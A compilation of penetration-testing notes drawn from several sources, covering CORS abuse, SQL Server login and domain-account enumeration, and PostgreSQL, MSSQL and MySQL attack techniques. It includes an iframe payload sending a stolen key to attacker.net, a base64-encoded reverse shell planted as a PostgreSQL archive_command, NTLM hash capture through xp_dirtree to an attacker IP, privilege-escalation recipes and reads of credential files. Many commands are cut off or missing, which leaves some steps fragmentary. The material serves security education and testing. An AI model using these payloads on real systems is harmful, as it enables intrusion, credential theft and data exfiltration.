website who can gain access to all user’s sensitive information.
2- Wildcard Origin
3- Null Origin
A few stackoverflow posts show that local HTML files get the
Null Origin. Perhaps due to the association with local files, quite
a few websites whitelist this Origin, including Google’s PDF
reader:
GET /reader?url=zxcvbn.pdf
Host: docs.google.com
Origin: null
HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
This is great for attackers, because any website can easily obtain
the null origin using a sandboxed iframe:
<iframe sandbox="allow-scripts allow-top-navigation allow-
forms" src='data:text/html,
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://secure-
bank.com/api/getPrivateKey',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//attacker.net/log?key='+this.responseText;
};
</script>’>
</iframe>
The request sent using the above payload is going to have a Null
Origin and thus successfully retrieving the private key.
4- Expanding Origin — Regex Issues
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evilsecure-bank.com
Access-Control-Allow-Credentials: true
https://medium.com/swlh/exploiting-cors-misconfiguration-vulnerabilities-2a16b5b979
SQL Injection
MYSQL Enumeration
An ENUM is a string object whose value is decided from a set of permitted literals(Values) that
are explicitly defined at the time of column creation.
• Succinct data storage required to store data in limited size columns. The strings that
you pass to the enum data types implicitly get the numerical numbering.
• It also provides readable queries and output easily because the numbers can be
translated back to the result of the corresponding string.
col...
col...
);
MySQL allows us to define the ENUM data type with the following three attributes –
• NOT NULL –
If we don’t want NULL values, it is required to use the NOT NULL property in the ENUM
column.
• NULL –
It is a synonym for DEFAULT NULL, and its index value is always NULL.
• DEFAULT –
By default, the ENUM data type is NULL, if the user doesn’t want to pass any value to
it.
Example :
Suppose, we want to store the student data in the table Student_grade in order to store the
grades of students in the corresponding columns (High, Medium, Low). We use the priority
statement to assign the priority to the Enum column.
);
The prioritized column will accept only three columns. Here, the order of numbering Low->1,
Medium->2, High->3.
• Instead of using the enumeration values, you can also use the numerical indexes too,
in order to insert the values into the Enum column of the table –
VALUES('Poor grades',1);
VALUES('Good grades','High');
Note : ENUM column can also store NULL values if it is defined as a null-able column.
Output :
• The following statement brought all the high grades student results –
• The same result you can get through this My SQL query –
WHERE priority = 3;
• The query below selects the Student_grade and sorts them by the priority from High to
Low –
Sort_data
• If you are thinking of modifying enumeration members then you need to rebuild the
entire table using the ALTER TABLE command, which has quite overhead in terms of
used resources and time.
• It is very complex to get the complete enumeration list because in that case, you need
to access the inform_schema database –
• Porting it to other RDBMS could be a hard task because ENUM is not an SQL’s standard
datatype and not many database systems provide support to it.
• It isn’t possible to insert more values to the enumerated column. Suppose, you are
interested to insert a service-based agreement for every priority e.x., High (48hrs),
Medium (4-3 days), Low (1 week), but it is not as easy as it looks and pragmatic with
ENUM data type.
• Enumerated list is not reusable. Because if, you want to create a new table named
“Emp-List” and interested to reuse its priority list, so it is not possible.
https://www.geeksforgeeks.org/enumerator-enum-in-mysql/
https://www.javatpoint.com/mysql-enum
https://www.mysqltutorial.org/mysql-enum/
https://dev.mysql.com/doc/refman/8.0/en/enum.html
1. Log into SQL Server using the “MyPublicUser” login with SQL
Server Management Studio.
2. To start things off verify that it’s not possible to get a list of all
logins via standard queries. The queries below should only return
a list of default server roles, the “sa” login, and the “MyPublicUser”
login. No other logins should be returned.
SELECT SUSER_ID('sa')
4. To go the other way just provide the principal_id to the
“SUSER_NAME” function . Below is a short example showing how
it’s possible to view other logins. In this example, the
“MyHiddenUser” login’s principal_id is 314, but it will be different
in your lab.
SELECT SUSER_NAME(1)
SELECT SUSER_NAME(2)
SELECT SUSER_NAME(3)
SELECT SUSER_NAME(314)
5. As I mentioned above, it’s also possible to determine which
security principals are logins and which are roles by performing
error analysis on the “sp_defaultdb” stored procedure. When
you’re a sysadmin “sp_defaultdb” can be used to change the
default database for a login. However, when you’re not a sysadmin
the procedure will fail due to access restrictions. Lucky for us
valid logins return different errors than invalid logins.For
example, the “sp_defaultdb” stored procedure always returns a
“15007” msg when an invalid login is provided, and a “15151” msg
when the login is valid. Below are a few example screenshots.
6. After logins have been identified it’s possible to use tools like
SQLPing3, Hydra, and the mssql_login module to perform online
dictionary attacks against the SQL Server. Next, let’s take a look at
some automation options.
PS C:temp>Import-Module .Get-SqlServer-Enum-
SqlLogins.psm1
After importing the module, the function can be run as the current
Windows account or a SQL login can be supplied as shown below.
My example returns many logins because my tests lab is messy,
but at a minimum you should see the “MyHiddenUser” login that
was created at the beginning of the lab guide.
PS C:temp>Get-SqlServer-Enum-SqlLogins -
SQLServerInstance "10.2.9.101" -SqlUser MyPublicUser
-SqlPass MyPassword! –FuzzNum 1000
Enumerating SQL Server Logins with
Metasploit
This module (mssql_enum_sql_logins) does the same thing as the
PowerShell module, but is written for the Metasploit Framework.
If you’ve updated Metasploit lately then you already have it. Below
is a basic usage example.
use auxiliary/admin/mssql/mssql_enum_sql_logins
set rhost 10.2.9.101
set rport 1433
set fuzznumb 1000
set username MyPublicUser
set password MyPassword!
run
2. To start things off verify that it’s not possible to execute stored
procedures that provide information about domain groups or
accounts. The queries below attempts to use the “xp_enumgroups”
and “xp_logininfo” stored procedures to get domain group
information from the domain associated with the SQL Server.
They should fail, because they’re normally only accessible to
member of the sysadmin server role.
5. Once a full RID has been obtained we can to extract the domain
SID by grabbing the first 48 bytes. The domain SID is the unique
identifier for the domain and the base of every full RID. After we
have the SID we can start building our own RIDs and get fuzzing.
RID =
0x0105000000000005150000009CC30DD479441EDEB31027D0
00020000
SID =
0x0105000000000005150000009CC30DD479441EDEB31027D0
12. Now we have a new RID that can be fed into the
“SUSER_NAME” function to get the associated domain account,
group, or computer as shown below.
SELECT
SUSER_SNAME(0x0105000000000005150000009CC30DD479441E
DEB31027D0F4010000)
Tada! Now just repeat that 10,000 or more times and you should
be on your way to a full list of domain accounts.
13. Once you have the domain account list, you can conduct online
dictionary attacks and attempt to guess the passwords for every
account in the domain. During most penetration tests we only
have to use a handful of passwords to gain initial access. Those
passwords usually include some variation of the following:
• SeasonYear
• CompanyNumber
• PasswordNumber
If you’re not a pentesters it may seem crazy, but once you have a
full list of domain accounts a full domain takeover is pretty likely.
For those of you who are less familiar with domain escalation
techniques checkout Google, the NetSPI blog,
or www.harmj0y.net (lots of fun projects).
PS C:temp>Get-SqlServer-Enum-WinAccounts -
SQLServerInstance "10.2.9.101" -SqlUser MyPublicUser
-SqlPass MyPassword! –FuzzNum 10000
Enumerating the Domain Admins with
Metasploit
This module (mssql_enum_domain_accounts) does the same thing
as the PowerShell module, but it’s written for the Metasploit
Framework. If you’ve updated Metasploit lately then you already
have it. Big thanks go out to Juan Vazquez, Tod Beardsley, and the
rest of the Metasploit team for helping me get the two modules
into the framework!
Note: For the test set the fuzznum to 1000, but you would set it to
10000 or above in a real environment.
use auxiliary/admin/mssql/mssql_enum_domain_accounts
set rhost 10.2.9.101
set rport 1433
set username MyPublicUser
set password MyPassword!
set fuzznum 10000
run
Note: This module requires that you have already identified the
SQL injection ahead of time. Also, make sure to set the FuzzNum
parameter to 10000 or above in a real environment.
use
auxiliary/admin/mssql/mssql_enum_domain_accounts_sql
i
set rhost 10.2.9.101
set rport 80
set GET_PATH /employee.asp?id=1+and+1=[SQLi];--
run
Wrap Up
In this blog I tried to illustrate how the “SUSER_NAME” and
SUSER_SNAME” functions could be abused by logins with the
Public server role. Hopefully it’s been useful and helped provide
a better understanding of how simple functions can be used to
access information not intended by the access control
model. Have fun with it, and don’t forget to hack responsibly. 🙂
References
• https://technet.microsoft.com/en-
us/library/ms174427%28v=sql.110%29.aspx
• https://msdn.microsoft.com/en-us/library/ms174427.aspx
• https://msdn.microsoft.com/en-us/library/ms179889.aspx
• https://msdn.microsoft.com/en-us/library/ms181738.aspx
• https://msdn.microsoft.com/en-us/library/ms176097.aspx
• https://msdn.microsoft.com/en-us/library/ms173792.aspx
• https://msdn.microsoft.com/en-us/library/ms190369.aspx
https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-
procedures-part-4-enumerating-domain-accounts/
POSTGRESQL Enumeration
To list all the databases in the server via the psql terminal, follow these steps:
\l
The output shows a list of all databases currently on the server, including the
database name, the owner, encoding, collation, ctype, and access privileges.
List Databases via SQL Query
Another method to list databases in PostgreSQL is to query database names
from the pg_database catalog via the SELECT statement. Follow these steps:
Step 1: Log in to the server using the SQL Shell (psql) app.
psql runs the query against the server and displays a list of existing databases
in the output.
Follow these steps to see all databases on the server using pgAdmin:
Step 1: Open the pgAdmin app and enter your password to connect to the
database server.
Step 2: Expand the Servers tree and then the Databases tree. The tree expands
to show a list of all databases on the server. Click the Properties tab to see
more information about each database.
List Tables
After listing all existing databases on the server, you can view the tables a
database contains. You can achieve this by using psql or using pgAdmin.
\c [database_name]
For example:
Step 2: List all database tables by running:
\dt
The output includes table names and their schema, type, and owner.
If there are no tables in a database, the output states that no relations were
found.
https://phoenixnap.com/kb/postgres-list-databases
POSTGRESQL PenTest
Basic Information
PostgreSQL is an open source object-relational database system that uses and extends the SQL
language.
Default port: 5432, and if this port is already in use it seems that postgresql will use the next
port (5433 probably) which is not in use.
Connect
\d # List tables
Select user;
# List schemas
\dn+
#List databases
# Get languages
SHOW rds.extensions;
\s
PostgreSQL injection
Enumeration
Brute force
Port scanning
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');
• Host is down
DETAIL: could not connect to server: No route to host Is the server running on host "1.2.3.4"
and accepting TCP/IP connections on port 5678?
• Port is closed
• Port is open
or
DETAIL: could not connect to server: Connection timed out Is the server
Unfortunately, there does not seem to be a way of getting the exception details within a
PL/pgSQL function. But you can get the details if you can connect directly to the PostgreSQL
server. If it is not possible to get usernames and passwords directly out of the system tables,
the wordlist at- tack described in the previous section might prove successful.
Enumeration of Privileges
Roles
Role can log in. That is, this role can be given as the initial session authorization
rolcanlogin
identifier
For roles that can log in, this sets maximum number of concurrent connections
rolconnlimit
this role can make. -1 means no limit.
Role Types Text
Role bypasses every row-level security policy, see Section 5.8 for more
rolbypassrls
information.
oid ID of role
Interesting Groups
Note that in Postgres a user, a group and a role is the same. It just depend on how you use it
and if you allow it to login.
\du
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;
SELECT current_setting('is_superuser');
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see
next section)
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.
Tables
Functions
\df pg_catalog.*
FROM information_schema.routines
WHERE routines.specific_schema='pg_catalog'
File-system actions
# Read file
Remember that if you aren't super user but has the CREATEROLE permissions you can make
yourself member of that group:
More info.
There are other postgres functions that can be used to read file or list a directory. Only
superusers and users with explicit permissions can use them:
# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file
SHOW data_directory;
Only super users and members of pg_read_server_files can use copy to write files.
Remember that if you aren't super user but has the CREATEROLE permissions you can make
yourself member of that group:
More info.
Remember that COPY cannot handle newline chars, therefore even if you are using a base64
payload you need to send a one-liner. A very important limitation of this technique is that
copy cannot be used to write binary files as it modify some binary values.
Bug bounty tip: sign up for Intigriti, a premium bug bounty platform created by hackers, for
hackers! Join us at https://go.intigriti.com/hacktricks today, and start earning bounties up to
$100,000!
Register - Intigriti
Register - Intigriti
RCE
RCE to program
Since version 9.3, only super users and member of the group pg_execute_server_program can
use copy for RCE (example with exfiltration:
Example to exec:
#PoC
#Notice that in order to scape a single quote you need to put 2 single quotes
Remember that if you aren't super user but has the CREATEROLE permissions you can make
yourself member of that group:
More info.
Once you have learned from the previous post how to upload binary files you could try obtain
RCE uploading a postgresql extension and loading it.
The configuration file of postgresql is writable by the postgres user which is the one running
the database, so as superuser you can write files in the filesystem, and therefore you can
overwrite this file.
The configuration file have some interesting attributes that can lead to RCE:
1. 1.
2. 2.
1. 1.
3. 3.
Overwrite
4. 4.
5. 5.
1. 1.
2. 2.
ssl_passphrase_command_supports_reload = on
6. 6.
Execute pg_reload_conf()
While testing this I noticed that this will only work if the private key file has privileges 640, it's
owned by root and by the group ssl-cert or postgres (so the postgres user can read it), and is
placed in /var/lib/postgresql/12/main.
For this to work, the archive_mode setting has to be 'on' or 'always'. If that is true, then we
could overwrite the command in archive_command and force it to execute via the WAL (write-
ahead logging) operations.
1. 1.
Check whether archive mode is enabled: SELECT current_setting('archive_mode')
2. 2.
Overwrite archive_command with the payload. For eg, a reverse shell: archive_command =
'echo
"dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1N
UUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCx
pbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvc
GVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
3. 3.
4. 4.
Force the WAL operation to run, which will call the archive command: SELECT pg_switch_wal()
or SELECT pg_switch_xlog() for some Postgres versions
Postgres Privesc
CREATEROLE Privesc
Grant
According to the docs: Roles having CREATEROLE privilege can grant or revoke membership in
any role that is not a superuser.
So, if you have CREATEROLE permission you could grant yourself access to other roles (that
aren't superuser) that can give you the option to read & write files and execute commands:
Modify Password
Users with this role can also change the passwords of other non-superusers:
#Change password
Privesc to SUPERUSER
It's pretty common to find that local users can login in PostgreSQL without providing any
password. Therefore, once you have gathered permissions to execute code you can abuse
these permissions to gran you SUPERUSER role:
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH
SUPERUSER;"';
This is usually possible because of the following lines in the pg_hba.conf file:
In this writeup is explained how it was possible to privesc in Postgres GCP abusing ALTER
TABLE privilege that was granted to the user.
When you try to make another user owner of a table you should get an error preventing it,
but apparently GCP gave that option to the not-superuser postgres user in GCP:
Joining this idea with the fact that when the INSERT/UPDATE/ANALYZE commands are
executed on a table with an index function, the function is called as part of the command
with the table owner’s permissions. It's possible to create an index with a function and give
owner permissions to a super user over that table, and then run ANALYZE over the table with
the malicious function that will be able to execute commands because it's using the privileges
of the owner.
GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);
Exploitation
1. 1.
2. 2.
Insert some dummy content to the table, so the index function has something to work with.
3. 3.
Create a malicious index function (with our code execution payload) on the table.
4. 4.
ALTER the table owner to cloudsqladmin , GCP’s superuser role, used only by Cloud SQL to
maintain and manage the database.
5. 5.
ANALYZE the table, forcing the PostgreSQL engine to switch user-context to the table's owner (
cloudsqladmin ) and call the malicious index function with the cloudsqladmin permissions,
resulting in executing our shell command, which we did not have permission to execute
before.
/* PostgreSQL does not allow creating a VOLATILE index function, so first we create
IMMUTABLE index function */
/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
ANALYZE public.temp_table;
After executing the exploit SQL query, the shell_commands_results table contains the output
of the executed code:
Local Login
Some misconfigured postgresql instances might allow login of any local user, it's possible to
local from 127.0.0.1 using the dblink function:
\l # Get databases
user=someuser
password=supersecret
dbname=somedb',
Note that for the previos query to work the function dblink needs to exist. If it doesn't you
could try to create it with
If you have the password of a user with more privileges, but the user is not allowed to login
from an external IP you can use the following function to execute queries as that user:
user=someuser
dbname=somedb',
****In this writeup, pentesters were able to privesc inside a postgres instance provided by
IBM, because they found this function with the SECURITY DEFINER flag:
RETURNS text
LANGUAGE 'plpgsql'
PARALLEL UNSAFE
COST 100
AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_disconnect();
As explained in the docs a function with SECURITY DEFINER is executed with the privileges of
the user that owns it. Therefore, if the function is vulnerable to SQL Injection or is doing some
privileged actions with params controlled by the attacker, it could be abused to escalate
privileges inside postgres.
In the line 4 of the previous code you can see that the function has the SECURITY DEFINER flag.
PL/pgSQL, as a fully featured programming language, allows much more procedural control
than SQL, including the ability to use loops and other control structures. SQL statements and
triggers can call functions created in the PL/pgSQL language. You can abuse this language in
order to ask PostgreSQL to brute-force the users credentials.
POST
logging
Inside the postgresql.conf file you can enable postgresql logs changing:
log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/
pgadmin
pgadmin is an administration and development platform for PostgreSQL. You can find
passwords inside the pgadmin4.db file You can decrypt them using the decrypt function inside
the script: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py
string pgadmin4.db
pg_hba
Client authentication is controlled by a config file frequently named pg_hba.conf. This file has
a set of records. A record may have one of the following seven formats:
Each record specifies a connection type, a client IP address range (if relevant for the
connection type), a database name, a user name, and the authentication method to be used
for connections matching these parameters. The first record with a matching connection type,
client address, requested database, and user name is used to perform authentication. There is
no "fall-through" or "backup": if one record is chosen and the authentication fails,
subsequent records are not considered. If no record matches, access is denied. The password-
based authentication methods are md5, crypt, and password. These methods operate
similarly except for the way that the password is sent across the connection: respectively,
MD5-hashed, crypt-encrypted, and clear-text. A limitation is that the crypt method does not
work with passwords that have been encrypted in pg_authid.
https://book.hacktricks.xyz/network-services-pentesting/pentesting-postgresql
• master Database: Records all the system-level information for an instance of SQL
Server.
• msdb Database: Is used by SQL Server Agent for scheduling alerts and jobs.
• model Database: Is used as the template for all databases created on the instance of
SQL Server. Modifications made to the model database, such as database size,
collation, recovery model, and other database options, are applied to any databases
created afterwards.
• Resource Databas: Is a read-only database that contains system objects that are
included with SQL Server. System objects are physically persisted in the Resource
database, but they logically appear in the sys schema of every database.
Enumeration
Automatic Enumeration
#Steal NTLM
#Info gathering
#Privesc
#Code execution
Brute force
Manual Enumeration
Login
## Recommended -windows-auth when you are going to use a domain. Use as domain the
netBIOS name of the machine
# Using sqsh
## In case Windows Auth using "." as domain name for local user
1> select 1;
2> go
Common Enumeration
# Get version
select @@version;
# Get user
select user_name();
# Get databases
# Use database
USE master
EXEC sp_linkedservers
#List users
Get User
select name,
create_date,
modify_date,
type_desc as type,
authentication_type_desc as authentication_type,
sid
from sys.database_principals
order by name;
## Both of these select all the users of the current database (not the server).
EXEC sp_helpuser
Get Permissions
1. 1.
Securable: These are the resources to which the SQL Server Database Engine authorization
system controls access. There are three broader categories under which a securable can be
differentiated:
Permission: Every SQL Server securable has associated permissions like ALTER, CONTROL,
CREATE that can be granted to a principal. Permissions are managed at the server level using
logins and at the database level using users.
3. 3.
Principal: The entity that receives permission to a securable is called a principal. The most
common principals are logins and database users. Access to a securable is controlled by
granting or denying permissions or by adding logins and users to roles which have access.
USE <database>
Use master
SELECT IS_SRVROLEMEMBER('sysadmin');
Use master
Tricks
Execute OS Commands
Note that in order to be able to execute commands it's not only necessary to have
xp_cmdshell enabled, but also have the EXECUTE permission on the xp_cmdshell stored
procedure. You can get who (except sysadmins) can use xp_cmdshell with:
Use master
RECONFIGURE
RECONFIGURE
#One liner
You should start a SMB server to capture the hash used in the authentication (impacket-
smbserver or responder for example).
xp_dirtree '\\<attacker_IP>\any\thing'
# Capture hash
You can check if who (apart sysadmins) has permissions to run those MSSQL functions with:
Use master;
Using tools such as responder or Inveigh it's possible to steal the NetNTLM hash. You can see
how to use these tools in:
Read this post to find more information about how to abuse this feature:
MSSQL AD Abuse
Write Files
To write files using MSSQL, we need to enable Ole Automation Procedures, which requires
admin privileges, and then execute some stored procedures to create the file:
RECONFIGURE
RECONFIGURE
# Create a File
By default, MSSQL allows file read on any file in the operating system to which the account
has read access. We can use the following SQL query:
However, the BULK option requires the ADMINISTER BULK OPERATIONS or the ADMINISTER
DATABASE BULK OPERATIONS permission.
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.i
ni',SINGLE_CLOB)+R(x))--
MSSQL could allow you to execute scripts in Python and/or R. These code will be executed by
a different user than the one using xp_cmdshell to execute commands.
#Multiline
print(sys.version)
'
GO
Read Registry
Microsoft SQL Server provides multiple extended stored procedures that allow you to interact
with not only the network but also the file system and even the Windows Registry:
Regular Instance-Aware
sys.xp_regread sys.xp_instance_regread
sys.xp_regenumvalues sys.xp_instance_regenumvalues
sys.xp_regenumkeys sys.xp_instance_regenumkeys
sys.xp_regwrite sys.xp_instance_regwrite
sys.xp_regdeletevalue sys.xp_instance_regdeletevalue
sys.xp_regdeletekey sys.xp_instance_regdeletekey
sys.xp_regaddmultistring sys.xp_instance_regaddmultistring
sys.xp_regremovemultistring sys.xp_instance_regremovemultistring
Use master;
There are other methods to get command execution, such as adding extended stored
procedures, CLR Assemblies, SQL Server Agent Jobs, and external scripts.
If a regular user is given the role db_owner over the database owned by an admin user (such
as sa) and that database is configured as trustworthy, that user can abuse these privileges to
privesc because stored procedures created in there that can execute as the owner (admin).
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
ON a.name=b.name;
# Get roles over the selected database (look for your username as db_owner)
USE <trustworthy_db>
# If you found you are db_owner of a trustworthy database, you can privesc:
USE <trustworthy_db>
CREATE PROCEDURE sp_elevate_me
AS
USE <trustworthy_db>
EXEC sp_elevate_me
SELECT is_srvrolemember('sysadmin')
Or a PS script:
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-
ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
SQL Server has a special permission, named IMPERSONATE, that allows the executing user to
take on the permissions of another user or login until the context is reset or the session ends.
FROM sys.server_permissions a
ON a.grantor_principal_id = b.principal_id
# Check if the user "sa" or any other high privileged user is mentioned
# Impersonate sa user
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
If you can impersonate a user, even if he isn't sysadmin, you should check if the user has
access to other databases or linked servers.
Note that once you are sysadmin you can impersonate any other one:
-- Impersonate RegUser
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
or with a PS script:
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-
ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/
The user running MSSQL server will have enabled the privilege token SeImpersonatePrivilege.
You probably will be able to escalate to Administrator following one of these 2 paged:
JuicyPotato
Shodan
• port:1433 !HTTP
References
• https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-
users
• https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-
my-permissions/
• https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/
• https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-
server-stored-procedures-part-1-untrustworthy-databases/
• https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-
server-stored-procedures-part-2-user-impersonation/
• https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-
relay-attacks-via-sql-server-using-metasploit/
• https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/
https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-
server
MYSQL PenTest
Basic Information
MySQL is a freely available open source Relational Database Management System (RDBMS)
that uses Structured Query Language (SQL). From here.
Connect
Local
Remote
External Enumeration
Brute force
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
MySQL commands
show databases;
use <database>;
show tables;
describe <table_name>;
\! sh
#Basic MySQLi
FLUSH PRIVILEGES;
quit;
mysql -u username -p < manycommands.sql #A file with all the commands you want to
execute
#Mysql
SHOW GRANTS;
#From DB
# List functions
Actually, when you try to load data local into a table the content of a file the MySQL or
MariaDB server asks the client to read it and send the content. Then, if you can tamper a
mysql client to connect to your own MyQSL server, you can read arbitrary files. Please notice
that this is the behaviour using:
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
(Notice the "local" word) Because without the "local" you can get:
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it
cannot execute this statement
RootedCON is the most relevant cybersecurity event in Spain and one of the most important in
Europe. With the mission of promoting technical knowledge, this congress is a boiling
meeting point for technology and cybersecurity professionals in every discipline.
RootedCON
RootedCON
POST
Mysql User
It will be very interesting if mysql is running as root:
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
From https://academy.hackthebox.com/module/112/section/1238
Settings Description
user Sets which user the MySQL service will run as.
This variable indicates the current debugging settings (sensitive info inside
debug
logs)
secure_file_priv This variable is used to limit the effect of data import and export operations.
Privilege escalation
use mysql;
select user();
select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv
from user;
\! sh
The malicious library to use can be found inside sqlmap and inside metasploit by doing locate
"*lib_mysqludf_sys*". The .so files are linux libraries and the .dll are the Windows ones,
choose the one you need.
If you don't have those libraries, you can either look for them, or download this linux C code
and compile it inside the linux vulnerable machine:
gcc -g -c raptor_udf2.c
Now that you have the library, login inside the Mysql as a privileged user (root?) and follow the
next steps:
Linux
# Use a database
use mysql;
# Create a table to load the library and move it to the plugins dir
# Execute commands
Windows
USE mysql;
CREATE TABLE npn(line blob);
Inside /etc/mysql/debian.cnf you can find the plain-text password of the user debian-sys-
maint
cat /etc/mysql/debian.cnf
Inside the file: /var/lib/mysql/mysql/user.MYD you can find all the hashes of the MySQL users
(the ones that you can extract from mysql.user inside the database).
Enabling logging
You can enable logging of mysql queries inside /etc/mysql/my.cnf uncommenting the following
lines:
Useful files
Configuration Files
• windows *
o config.ini
o my.ini
▪ windows\my.ini
▪ winnt\my.ini
o <InstDir>/mysql/data/
o unix
▪ my.cnf
▪ /etc/my.cnf
▪ /etc/mysql/my.cnf
▪ /var/lib/mysql/my.cnf
▪ ~/.my.cnf
▪ /etc/my.cnf
• Command History
o ~/.mysql.history
• Log Files
o connections.log
o update.log
o common.log
information_schema
mysql
performance_schema
sys
Name: Notes
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS)
that uses Structured Query Language (SQL).
https://book.hacktricks.xyz/pentesting/pentesting-mysql
Entry_2:
Name: Nmap
Entry_3:
Name: MySql
Entry_4:
https://book.hacktricks.xyz/network-services-pentesting/pentesting-mysql
SQLMAP CheatSheet
# Enumerate databases
# Enumerate tables
# Get OS shell
# SQL query
Your database lies at the heart of your business information system. It drives data sharing in
ERP systems and stores sensitive data, such as customer records and turnover information. To
fully understand potential vulnerability in this area, you need to know what an SQL injection
attack is.
SQL is the Structured Query Language. It is the language that programs use to access data in
a relational database. The language also includes commands to update or delete data held in
database tables.
For end-users, access to a database is through a form, which will either be in a Web page or in
the front-end of a piece of business software. The field into which you enter a query in a
Google page is an example of this. The code behind the screen takes the input that users type
into the field and wrap it in an SQL query. This then gets submitted to the database to extract
matching records.
Hackers have discovered ways to put a full SQL statement or a clause of a statement into an
input field. This can fool the query processing mechanisms embedded into the form and pass
an entire SQL instruction on to the database rather than submitting the input as a query value.
This cheat is called “SQL injection” and it can give hackers full access to your database,
bypassing the controls that are built into the coding of the application or Web page that
contains the input field.
SQL injection attacks can enable hackers to steal the entire database or update values. The
option to change data in a database enables hackers to steal money. Imagine if a customer
was able to change the balance on an account from a negative sum to a positive amount. In
automated systems, this would trigger a payment and the hackers could abscond with that
money before anyone in the business becomes aware of the error.
The Open Web Application Security Project (OWASP) creates a list of the top 10 system
vulnerabilities that is regarded as the definitive list of weaknesses to look for. Vulnerability
scanners promise to check for the OWASP Top 10. SQL Injection is the top threat listed by
OWASP. The organization breaks that category down into four types.
These categories are broken down further by the industry. A Classic SQL Injection attack is also
known as an In-band attack. This category includes two possible methods – Error-based SQLI
and Union-based SQLI.
Compound SQL Injection attacks add on another type of hacker attack to the SQL Injection
activity. These are:
• Authentication attacks
• DDoS attacks
• DNS hijacking
In the interests of brevity in this guide – which is focused on sqlmap – the definition of these
attack strategies will not be covered here.
Hackers are constantly inventing new attack strategies. However, the ways relational
databases and SQL operate mean that there are only so many types of attacks that will work.
In other words, new attacks are always variations on a theme. If you have a tool that can
ensure protection against generic categories of attack, you can be sure that you have
uncovered all possible vulnerabilities.
A sqlmap check attempts an attack in each of a number of categories – there are six in total. If
one of these attacks succeeds, you know that you have a serious problem and part of the
